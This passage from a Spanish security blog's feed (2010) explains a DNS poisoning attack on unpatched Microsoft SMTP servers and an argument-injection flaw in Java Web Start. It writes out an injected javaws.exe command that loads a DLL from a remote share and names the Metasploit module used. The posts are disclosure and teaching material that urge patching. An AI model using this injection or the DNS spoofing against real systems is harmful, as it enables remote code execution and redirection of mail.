src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S-jpa0tQAeI/AAAAAAAAAZE/Id6KK4gSEV0/s400/CAPT002.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469878394475774434" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 177px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Parece que el asunto funciona, o al menos eso nos muestra Metasploit, pero vamos a ir al que "nunca nos miente", al tcpdump, a ver que está pasando realmente por debajo:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S-jp7F4zTaI/AAAAAAAAAZM/UTM6vB6NJ-g/s1600/CAPT005.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S-jp7F4zTaI/AAAAAAAAAZM/UTM6vB6NJ-g/s400/CAPT005.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469878948843441570" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 57px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Efectivamente, hemos conseguido lo que queríamos, vemos que el servidor SMTP nos está pidiendo la resolución DNS con ID 1, y que nosotros estamos enviando una respuesta válida, con el puerto adecuado, desde la IP adecuada, pero con un ID totalmente inventado. Ahora nos falta por ver si el servidor SMTP se lo ha tragado, y para ello lo mejor es poner un NetCat en el puerto 25 para ver si el servidor realiza conexión TCP contra esta máquina, ya que si lo hace quiere decir que "ha picado" y que se dispone a enviar el correo a la IP de la respuesta malformada (con ID diferente):&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S-jrGSzHJkI/AAAAAAAAAZU/e9xryCLgnIA/s1600/CAPT004.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S-jrGSzHJkI/AAAAAAAAAZU/e9xryCLgnIA/s400/CAPT004.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5469880240799426114" style="display: block; margin-top: 0px; margin-right: auto; margin-bottom: 10px; margin-left: auto; text-align: center; cursor: pointer; width: 400px; height: 43px; " /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Parece que el asunto ha colado. Increíble pero cierto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En resumen, todos aquellos servidores SMTP de Microsoft a los que no se les haya aplicado el parche MS10-024 son vulnerables a envenenamiento de sus DNSs y por tanto a la redirección de correos a servidores arbitrarios, con tan solo ser capaces de predecir el puerto de origen (trivial, como podemos ver) y tener un poco de suerte a la hora de que las respuestas maliciosas sean un poco más rápidas que las auténticas.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Se recomienda por tanto a todos los administradores de servidores de este tipo que apliquen este parche, aunque Microsoft no lo catalogue con la criticidad correspondiente.&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-1231755112933385487?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/05/dns-poisoning-sobre-microsoft-smtp.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S-jjRuJYqbI/AAAAAAAAAY0/fzYRA0E0eQc/s72-c/CAPT001.png" height="72" width="72" /><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5417890135708418999</guid><pubDate>Tue, 04 May 2010 05:19:00 +0000</pubDate><atom:updated>2010-05-04T09:56:43.049+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">zeroday</category><category domain="http://www.blogger.com/atom/ns#">metaspoit</category><category domain="http://www.blogger.com/atom/ns#">SeguridadNavegador</category><title>Explotando Java Web Start</title><description>&lt;div style="text-align: justify;"&gt;En &lt;a href="http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html"&gt;nuestro post de ayer&lt;/a&gt; comentabamos con detalle la vulnerabilidad en Java Web Start encontrada recientemente por Ruben Santamarta y Tavis Ormandy, pero nos quedabamos con un par de preguntas: ¿Podemos controlar el contenido de esas variables que son utilizadas para formar la llamada al binario sin ningún tipo de filtraro? ¿Cómo lo haríamos?&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Pues bien, ¡vamos allá!&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Según se puede leer en la &lt;a href="http://java.sun.com/j2se/1.5.0/docs/guide/plugin/developer_guide/using_tags.html"&gt;documentación oficial de Java&lt;/a&gt; sobre como utilizar los tags Applet, Embed y Object, es posible establecer como parámetros los valores de estas variables que comentabamos en nuestro post anterior. Como resultado, podriamos contruir un código HTML que, al ser visitado por nuestro objetivo, ejecutara el Applet Java que le pasaramos, con las opciones que nosotros queramos, debido a esta vulnerabilidad.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vamos a comprobarlo con este pequeño código de ejemplo:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94SyBiI6hI/AAAAAAAAAYE/b4UOySNQ-rc/s1600/CAPT1.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94SyBiI6hI/AAAAAAAAAYE/b4UOySNQ-rc/s400/CAPT1.png" alt="" id="BLOGGER_PHOTO_ID_5466827648288746002" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 96px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Hemos incluido en las opciones todo tipo de caracteres que nos pudieran resultar útiles a la hora de la explotación, como guiones, comillas y tuberías, para comprobar si efectivamente las cadenas que introduzcamos en este código HTML van a utilizarse tal cual en la llamada al binario de Java, sin ningún tipo de filtrado.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para comprobar exactamente como es la llamada a la función, nos hemos hecho un sencillo programita en C que sencillamente lo que hace es capturar las opciones con las que ha sido llamado y las guarda en un fichero de texto, a modo de log:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94UKEUkQCI/AAAAAAAAAYM/Dey4TbBaAGc/s1600/CAPT2.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94UKEUkQCI/AAAAAAAAAYM/Dey4TbBaAGc/s400/CAPT2.png" alt="" id="BLOGGER_PHOTO_ID_5466829160865611810" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 362px; height: 400px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;font-size:78%;" &gt;(Disclaimer: Este código ha sido desarrollado de forma rápida para realizar la demostración sin tener en consideración las buenas prácticas de programación y seguridad. NO utilizar en entornos diferentes a pruebas ni de ninguna manera en la que no se controle los parámetros con lo que es llamado el binario)&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Este código, una vez compilado, ha sustituido al binario javaws.exe, para de esta manera poder disponer de un registro en el que veremos exactamente como han sido las llamadas, obteniendo el siguiente resultado:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S94U3_LEfOI/AAAAAAAAAYU/BFhR_siwLh8/s1600/CAPT3.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S94U3_LEfOI/AAAAAAAAAYU/BFhR_siwLh8/s400/CAPT3.png" alt="" id="BLOGGER_PHOTO_ID_5466829949757586658" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 140px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Como podemos ver, esta vulnerabilidad nos va a permitir establecer las opciones que queramos en la llamada a javaws.exe, aunque no realizar directamente una ejecución de comandos, ya que el binario es llamado mediante la función CreateProcess, y no lanzado directamente a una shell de comandos. No obstante, pegando un vistazo a las opciones que nos permite utilizar javaws.exe, tenemos las siguientes:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94XbGA8HuI/AAAAAAAAAYc/5AmC9zjELCI/s1600/CAPT4.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94XbGA8HuI/AAAAAAAAAYc/5AmC9zjELCI/s400/CAPT4.png" alt="" id="BLOGGER_PHOTO_ID_5466832751912820450" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 309px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Mediante la opción "-J" podemos establecer parámetros que serán enviados directamente a la máquina virtual, incluida una opción oculta de la máquina virtual y que no aparece en los menús de ayuda, llamada &lt;b&gt;-XXaltjvm&lt;/b&gt;, que nos permitiría la inclusión de una librería alternativa.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¡BINGO! Si podemos incluir una librería podemos crear una librería que sea accesible a través de la red y que realice la ejecución del payload que queramos. Luego solo hay que pasar los parámetros adecuados a través del HTML que veíamos antes para que nuestra DLL sea cargada y... tachan! ejecución remota de código.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Para realizar todo esto de una forma cómoda, existe un plugin de Metasploit llamado &lt;b&gt;java_ws_arginject_altjvm&lt;/b&gt; que podemos utilizar, veamos con que opciones:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_Jx-hAg65Epo/S94ce4KiJsI/AAAAAAAAAYk/0ynuYPdRobs/s1600/CAPT6.png"&gt;&lt;img src="http://2.bp.blogspot.com/_Jx-hAg65Epo/S94ce4KiJsI/AAAAAAAAAYk/0ynuYPdRobs/s400/CAPT6.png" alt="" id="BLOGGER_PHOTO_ID_5466838314472580802" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 331px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Una vez lanzado el exploit, un servidor HTTP será lanzado a la escucha en el puerto 80, esperando conexiones a las que les devolverá el código HTML que explota la vulnerabilidad, obteniendo así el control de la máquina:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_Jx-hAg65Epo/S94fG1iDP7I/AAAAAAAAAYs/VuTNJp280VQ/s1600/CAPT7.png"&gt;&lt;img src="http://3.bp.blogspot.com/_Jx-hAg65Epo/S94fG1iDP7I/AAAAAAAAAYs/VuTNJp280VQ/s400/CAPT7.png" alt="" id="BLOGGER_PHOTO_ID_5466841199983935410" style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 400px; height: 270px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Si sustituimos de nuevo el binario javaws.exe por nuestro binario que registra los parámetros, obtenemos que el exploit de Metasploit está introduciendo los siguientes parámetros:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;b&gt;javaws.exe -docbase -J-XXaltjvm=\\172.16.24.150\aleatorio1 aleatorio2.jnlp&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Esta vulnerabilidad es considerada de criticidad máxima, por lo que se recomienda a todos los usuarios de prácticamente cualquier sistema operativo que actualicen su versión de Java a la última disponible, y se aseguren que esta es al menos la 1.6.0_20, ya que esta es la versión en la que se introdujo el parche de esta vulnerabilidad. Más información en las &lt;a href="http://java.sun.com/javase/6/webnotes/6u20.html"&gt;release notes&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5417890135708418999?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/05/explotando-java-web-start.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_Jx-hAg65Epo/S94SyBiI6hI/AAAAAAAAAYE/b4UOySNQ-rc/s72-c/CAPT1.png" height="72" width="72" /><thr:total>10</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-5985612919747208128</guid><pubDate>Mon, 03 May 2010 06:05:00 +0000</pubDate><atom:updated>2010-05-03T08:05:00.146+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">zeroday</category><category domain="http://www.blogger.com/atom/ns#">SeguridadNavegador</category><title>Vulnerabilidad en Java Web Start</title><description>&lt;div style="text-align: justify;"&gt;Hace algunas semanas, en el twitter de &lt;a href="http://es.linkedin.com/in/rubensantamarta"&gt;Ruben Santamarta&lt;/a&gt;, un conocido investigador Español, podíamos ver &lt;a href="http://twitter.com/reversemode/status/11877527757"&gt;el siguiente comentario&lt;/a&gt;:&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DO5-9C4CI/AAAAAAAAAVk/hMGRWBa7u_4/s1600/Imagen+1.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DO5-9C4CI/AAAAAAAAAVk/hMGRWBa7u_4/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5458590243919945762" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 249px;" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Con la liebre correteando por ahí y todos nosotros desinstalando Java de nuestros navegadores, Rubén publico &lt;a href="http://www.reversemode.com/"&gt;en su web&lt;/a&gt; algunos &lt;a href="http://www.reversemode.com/index.php?option=com_content&amp;amp;task=view&amp;amp;id=67&amp;amp;Itemid=1"&gt;detalles más sobre la vulnerabilidad&lt;/a&gt;, que parece haber sido descubierta casi simultáneamente por él y por &lt;a href="http://seclists.org/fulldisclosure/2010/Apr/119"&gt;Tavis Ormandy&lt;/a&gt;, otro conocido investigador.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Según parece, la vulnerabilidad reside en una mala validación de ciertos parámetros que se pasan por linea de comandos al binario java.exe/javaws.exe en el momento que un navegador quiere ejecutar contenido Java.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Voy a tomarme la pequeña libertad de comentar el código publicado por Rubén, en su página web. También añadiré alguna captura mía de algún trozo de código que me parece interesante y que no aparece en la publicación de Rubén.&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DSKOthqSI/AAAAAAAAAVs/54f5GyZAWZY/s1600/Imagen+1.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DSKOthqSI/AAAAAAAAAVs/54f5GyZAWZY/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5458593821562612002" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 330px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Aunque parezca raro, creo que en esta ocasión lo mejor para entender la vulnerabilidad es comenzar desde el final, es decir, desde el momento que se llama a javaws.exe. Si nos fijamos en el final del código seleccionado por Rubén, vemos que se apilan un montón de parámetros (push) antes de llamar a la función &lt;span style="font-weight: bold;"&gt;CreateProcessA&lt;/span&gt;. Esta función va a ser la encargada de crear un nuevo proceso con los parámetros que nosotros le hayamos pasado a través de la pila, es decir, todos esos parámetros que justo antes de la llamada estaban siendo apilados. Podemos obtener más información sobre estos parámetros acudiendo a la &lt;a href="http://msdn.microsoft.com/en-us/library/ms682425%28VS.85%29.aspx"&gt;documentación oficial de Microsoft&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;De entre todos estos parámetros, el afectado por la vulnerabilidad es &lt;span style="font-weight: bold;"&gt;lpCommandLine&lt;/span&gt;, mediante el cual le especificamos a la función con que parámetros en linea de comandos deberá llamar al binario (javaws.exe). En este caso, vemos que se está realizando un "&lt;span style="font-weight: bold;"&gt;push esi&lt;/span&gt;", es decir, en el lugar de la pila de donde CreateProcessA va a sacar el valor de lpCommandLine estamos metiendo el valor contenido en el registro ESI.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Perfecto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Y...&lt;/div&gt;&lt;div style="text-align: justify;"&gt;¿Qué narices hay en ESI? :P&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8DWdJDKQRI/AAAAAAAAAV0/GZ_OTBM1bIA/s1600/Imagen+1.png"&gt;&lt;img src="http://1.bp.blogspot.com/_Jx-hAg65Epo/S8DWdJDKQRI/AAAAAAAAAV0/GZ_OTBM1bIA/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5458598544506765586" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 330px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div style="text-align: justify;"&gt;Evidentemente, el registro ESI podría haber sido cambiado en cualquier sitio y posteriormente haber hecho un salto a la zona de código que vemos, pero si no me equivoco si esto fuera así el IDA Pro nos habría etiquetado la linea con un "loc_direccion&lt;direccion&gt;", y no es el caso. Dicho esto, vemos que solo existen dos posibilidades:&lt;/direccion&gt;&lt;/div&gt;&lt;direccion&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;La ejecución viene de la dirección &lt;span style="color:black;"&gt;6DAA3EB7 y al llegar a &lt;/span&gt;&lt;span style="color:black;"&gt;6DAA3EC6 hace un s&lt;/span&gt;&lt;span style="color:black;"&gt;a&lt;/span&gt;lto a 6DAA3ED4 (&lt;span style="font-weight: bold;"&gt;jmp     short loc_6DAA3ED4&lt;/span&gt;).&lt;/li&gt;&lt;li style="text-align: justify;"&gt;La ejecución ha saltado de una zona anterior al código que no vemos a &lt;span style="color:black;"&gt;6DAA3EC8&lt;/span&gt;&lt;span style="color:black;"&gt; y desde ahí ha seguido su ejecución normal hasta llegar a &lt;/span&gt;6DAA3ED4 sin ningún tipo de saltos, ya que su código es consecutivo.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DX9m4j41I/AAAAAAAAAV8/NAr6UurhAPM/s1600/Imagen+1.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DX9m4j41I/AAAAAAAAAV8/NAr6UurhAPM/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5458600201782813522" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 330px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vamos a seguir trazando hacia atrás a ver si vemos donde se ha definido el contenido del registro ESI. En este caso, para ambas opciones vemos que ESI contiene la dirección de memoria de un Buffer donde se va a guardar la cadena de texto resultado de la llamada a la función &lt;span style="font-weight: bold;"&gt;wsprintfA&lt;/span&gt;. Esta función es prácticamente idéntica (solo cambia el soporte para Unicode, que yo sepa) a la típica función de C "sprintf", en la que definimos un buffer de destino (al que apunta ESI), una cadena de formato del tipo "%s loquesea %d blablabla %s" y las referencias a los datos que irán en los "huecos" que hayamos dejado en la cadena de formato (en mi ejemplo, 3, cadena de texto, entero, cadena de texto). Como antes, podemos obtener más información sobre esta función acudiendo a la &lt;a href="http://msdn.microsoft.com/en-us/library/ms647550%28VS.85%29.aspx"&gt;documentación oficial de Microsoft&lt;/a&gt;.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8GRTahvKsI/AAAAAAAAAWM/OwbAF6wg14Q/s1600/Imagen+1.png"&gt;&lt;img src="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8GRTahvKsI/AAAAAAAAAWM/OwbAF6wg14Q/s400/Imagen+1.png" alt="" id="BLOGGER_PHOTO_ID_5458803986074118850" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 187px;" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;En el caso que nos ocupa, podemos ver que estamos utilizando 3 cadenas para formar una cadena de la siguiente forma:&lt;/div&gt;&lt;/direccion&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: center;"&gt;&lt;direccion&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;Aplicacion [-docbase OpcionesDocBase] Opciones&lt;/span&gt;&lt;/b&gt;&lt;/direccion&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Siendo esto así, vemos que tanto "OpcionesDocBase" ([ebp+arg_4]) como "Opciones" ([ebp+arg_0]) están saliendo DIRECTAMENTE de los argumentos con los que se ha llamado a la función, por lo que no parece existir ningún tipo de filtrado que impida que introduzcamos espacios en blanco, guiones u otros caracteres que nos permitan modificar los argumentos con los que se creará el nuevo proceso.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Las preguntas evidentes que nos surgen ahora son:&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li style="text-align: justify;"&gt;¿Podemos controlar esos parámetros de forma remota de alguna manera? Porque sino... para poco nos va a servir todo lo que acabamos de ver.&lt;/li&gt;&lt;li style="text-align: justify;"&gt;Suponiendo que controlamos los parámetros que se le pasan a estos binarios, ¿para que sirve eso? ¿es peligroso para la seguridad?&lt;/li&gt;&lt;/ol&gt;&lt;div style="text-align: justify;"&gt;Las respuestas son &lt;b&gt;&lt;span class="Apple-style-span"  style="font-size:large;"&gt;SI&lt;/span&gt;&lt;/b&gt;, podemos controlar esos parámetros y es peligroso para la seguridad.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Mañana: "Explotando Java Web Start"&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7678234999586772610-5985612919747208128?l=www.pentester.es' alt='' /&gt;&lt;/div&gt;</description><link>http://www.pentester.es/2010/05/vulnerabilidad-en-java-web-start.html</link><author>noreply@blogger.com (Jose Selvi)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_Jx-hAg65Epo/S8DO5-9C4CI/AAAAAAAAAVk/hMGRWBa7u_4/s72-c/Imagen+1.png" height="72" width="72" /><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7678234999586772610.post-6460116922798592451</guid><pubDate>Mon, 26 Apr 2010 05:28:00 +0000</pubDate><atom:updated>2010-04-26T10:47:52.463+02:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">TestDeIntrusion</category><category domain="http://www.blogger.com/atom/ns#">SeguridadLinux</category><title>Leviathan Wargame</title><description>&lt;div style="text-align: justify;"&gt;Hace unos días leíamos en el &lt;a href="http://twitter.com/roman_soft"&gt;Twitter de RoMaNSoFt&lt;/a&gt; sobre la existencia de una serie de retos de seguridad en la web &lt;a href="http://intruded.net/wglist.html"&gt;Intruded.Net&lt;/a&gt; que consisten en que se nos da la shell del primer nivel y tenemos que ir escalando al usuario de nivel superior hasta que completamos todas las fases del reto.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Siempre me han encantado los Wargames/Retos Hacking, especialmente aquellos en los que oigo a alguien decir que son muy difíciles, o por contra, que son muy fáciles y se pueden sacar en muy poco tiempo, porque me pican a ver si yo soy capaz de sacarlo tan rápido o, sencillamente si soy capaz de sacarlo. En este caso, &lt;a href="http://twitter.com/roman_soft/status/12723063823"&gt;este Twitt concreto&lt;/a&gt; hablaba de &lt;a href="http://intruded.net/leviathan.html"&gt;Leviathan&lt;/a&gt;, el Wargame más sencillo de los que hay en la web, del cual sus creadores dicen lo siguiente:&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;"Este wargame no requiere ningún conocimiento sobre programación - solo un poco de sentido común y algún conocimiento sobre los comandos básicos de *nix."&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;No está mal, es un Wargame que puede resultar muy interesante para aquellas personas que les gusta la seguridad, pero que por contra no tienen conocimientos de programación y/o reversing.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;En este caso, este Wargame se basa en la existencia de algunos binarios con suid a los que les debes encontrar algún tipo de fallo que te permita acceder a un fichero .passwd  que existe en el home del usuario propietario del binario, y que contiene la contraseña para el siguiente nivel. Por ejemplo, en /home/level1/.passwd está contenida la contraseña del nivel 1, y el resto de contraseñas están en ficheros idénticos en sus respectivos home's.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El Wargame, como dice RoMaNSoFt, es sencillo pero divertido, así que lo recomiendamos a todos aquellos a los que les gusten este tipo de retos, tengan el nivel que tengan. Para aquellos a los que les cueste algún nivel, o sencillamente para los que no tengan tiempo de ponerse a resolverlos pero que les gustaría saber que tipo de fallos tenían los binarios, escribimos a continuación nuestras soluciones a los retos, así que si tienes la intención de intentarlo por ti mismo... &lt;span style="font-weight: bold;"&gt;PARA DE LEER AQUÍ!!&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Inténtalo al menos, no? :P&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;
